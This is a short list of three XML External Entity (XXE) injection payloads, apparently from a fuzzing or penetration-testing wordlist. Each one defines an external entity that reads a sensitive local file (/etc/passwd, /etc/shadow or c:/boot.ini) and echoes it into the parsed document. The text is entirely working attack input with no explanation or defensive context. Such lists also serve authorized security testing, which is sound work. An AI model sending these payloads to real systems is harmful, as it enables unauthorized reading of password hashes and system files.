<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [  <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [  <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
